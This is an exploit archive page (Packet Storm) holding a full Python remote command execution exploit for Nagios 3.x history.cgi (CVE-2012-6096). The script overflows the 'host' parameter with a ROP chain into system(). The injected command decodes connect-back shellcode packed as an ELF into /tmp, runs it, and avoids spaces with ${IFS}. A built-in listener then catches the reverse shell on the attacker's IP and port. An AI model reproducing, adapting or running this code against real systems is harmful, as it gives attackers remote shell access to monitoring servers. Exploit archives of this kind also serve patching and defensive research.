Lucene search

K
packetstormBlastyPACKETSTORM:119528
HistoryJan 15, 2013 - 12:00 a.m.

Nagios 3.x Remote Command Execution

2013-01-1500:00:00
Blasty
packetstormsecurity.com
34

0.968 High

EPSS

Percentile

99.6%

`#!/usr/bin/python  
#  
# CVE-2012-6096 - Nagios history.cgi Remote Command Execution  
# ===========================================================  
# Another year, another reincarnation of classic and trivial  
# bugs to exploit. This time we attack Nagios.. or more  
# specifically, one of its CGI scripts. [1]  
#  
# The Nagios code is an amazing monster. It reminds me a  
# lot of some of my early experiments in C, back when I  
# still had no clue what I was doing. (Ok, fair enough,  
# I still don't, heheh.)  
#  
# Ok, I'll come clean. This exploit doesn't exactly  
# defeat FORTIFY. This approach is likely to work just FINE  
# on other crippled distro's though, think of stuff like  
# ArchLinux, Slackware, and all those Gentoo kids twiddling  
# their CFLAGS. [2] (Oh and hey, BSD and stuff!)  
#  
# I do some very stupid shit(tm) here that might make an  
# exploit coder or two cringe. My sincere apologies for that.  
#  
# Cold beer goes out to my friends who are still practicing  
# this dying but interesting type of art:  
#  
# * brainsmoke * masc * iZsh * skier_ * steve *  
#  
# -- blasty <[email protected]> / 2013-01-08  
#  
# References:  
# [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109  
# [2] http://www.funroll-loops.info/  
#  
# P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!  
# Next time you rebrand an exploit at least show some diligence and  
# add some additional targets or improvements, so we can all profit!  
#  
# P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!  
#  
  
import os, sys, socket, struct, urllib, threading, SocketServer, time  
from base64 import b64encode  
  
SocketServer.TCPServer.allow_reuse_address = True  
  
targets = [  
{  
"name" : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",  
"smash_len" : 0xc37,  
"unescape" : 0x0804b620,  
"popret" : 0x08048fe4,  
"hostbuf" : 0x080727a0,  
"system_plt" : 0x08048c7c  
}  
]  
  
def u32h(v):  
return struct.pack("<L", v).encode('hex')  
  
def u32(v, hex = False):  
return struct.pack("<L", v)  
  
# Tiny ELF stub based on:  
# http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html  
def make_elf(sc):  
elf_head = \  
"7f454c46010101000000000000000000" + \  
"02000300010000005480040834000000" + \  
"00000000000000003400200001000000" + \  
"00000000010000000000000000800408" + \  
"00800408" + u32h(0x54+len(sc))*2 + \  
"0500000000100000"  
  
return elf_head.decode("hex") + sc  
  
# interactive connectback listener  
class connectback_shell(SocketServer.BaseRequestHandler):  
def handle(self):  
print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]  
print "[**] This shell is powered by insane amounts of illegal substances"  
  
s = self.request  
  
import termios, tty, select, os  
old_settings = termios.tcgetattr(0)  
  
try:  
tty.setcbreak(0)  
c = True  
  
os.write(s.fileno(), "id\nuname -a\n")  
  
while c:  
for i in select.select([0, s.fileno()], [], [], 0)[0]:  
c = os.read(i, 1024)  
if c:  
if i == 0:  
os.write(1, c)  
  
os.write(s.fileno() if i == 0 else 1, c)  
except KeyboardInterrupt: pass  
finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)  
  
return  
  
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):  
pass  
  
if len(sys.argv) != 5:  
print "\n >> Nagios 3.x CGI remote code execution by <[email protected]>"  
print " >> \"Jetzt geht's Nagi-los!\"\n"  
print " usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])  
print " targets:"  
  
i = 0  
  
for target in targets:  
print " %02d) %s" % (i, target['name'])  
i = i+1  
  
print ""  
sys.exit(-1)  
  
target_no = int(sys.argv[4])  
  
if target_no < 0 or target_no > len(targets):  
print "Invalid target specified"  
sys.exit(-1)  
  
target = targets[ int(sys.argv[4]) ]  
  
# comment this shit if you want to setup your own listener  
server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)  
server_thread = threading.Thread(target=server.serve_forever)  
server_thread.daemon = True  
server_thread.start()  
  
# shellcode to be executed  
# vanilla x86/linux connectback written by a dutch gentleman  
# close to a decade ago.  
cback = \  
"31c031db31c951b10651b10151b10251" + \  
"89e1b301b066cd8089c231c031c95151" + \  
"68badc0ded6668b0efb102665189e7b3" + \  
"1053575289e1b303b066cd8031c939c1" + \  
"740631c0b001cd8031c0b03f89d3cd80" + \  
"31c0b03f89d3b101cd8031c0b03f89d3" + \  
"b102cd8031c031d250686e2f7368682f" + \  
"2f626989e3505389e1b00bcd8031c0b0" + \  
"01cd80"  
  
cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))  
cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex"))  
  
# Eww.. so there's some characters that dont survive the trip..  
# yes, even with the unescape() call in our return-chain..  
# initially I was going to use some /dev/tcp based connectback..  
# but /dev/tcp isn't available/accesible everywhere, so instead  
# we drop an ELF into /tmp and execute that. The '>' characters  
# also doesn't survive the trip so we work around this by using  
# the tee(1) utility.  
# If your target has a /tmp that is mounted with noexec flag,  
# is severely firewalled or guarded by trained (watch)dogs..  
# you might want to reconsider this approach!  
cmd = \  
"rm -rf /tmp/x;" + \  
"echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \  
"base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"  
  
# Spaces (0x20) are also a problem, they always ends up as '+' :-(  
# so apply some olde trick and rely on $IFS for argv separation  
cmd = cmd.replace(" ", "${IFS}")  
  
# Basic return-2-whatever/ROP chain.  
# We return into cgi_input_unescape() to get rid of  
# URL escaping in a static buffer we control, and then  
# we return into system@plt for the moneyshot.  
#  
# Ergo sum:  
# There's no memoryleak or whatever needed to leak libc  
# base and bypass ASLR.. This entire Nagios PoS is stringed  
# together by system() calls, so pretty much every single one  
# of their little silly binaries comes with a PLT entry for  
# system(), huzzah!  
rop = [  
u32(target['unescape']),  
u32(target['popret']),  
u32(target['hostbuf']),  
u32(target['system_plt']),  
u32(0xdeafbabe),  
u32(target['hostbuf'])  
]  
  
# Yes.. urllib, so it supports HTTPS, basic-auth and whatnot  
# out of the box. Building HTTP requests from scratch is so 90ies..  
params = urllib.urlencode({  
'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)  
})  
  
print "[>>] CL1Q .."  
f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)  
  
print "[>>] CL4Q .."  
f.read()  
  
# TRIAL PERIOD ACTIVE, LOL!  
time.sleep(0x666)  
  
server.shutdown()  
  
  
`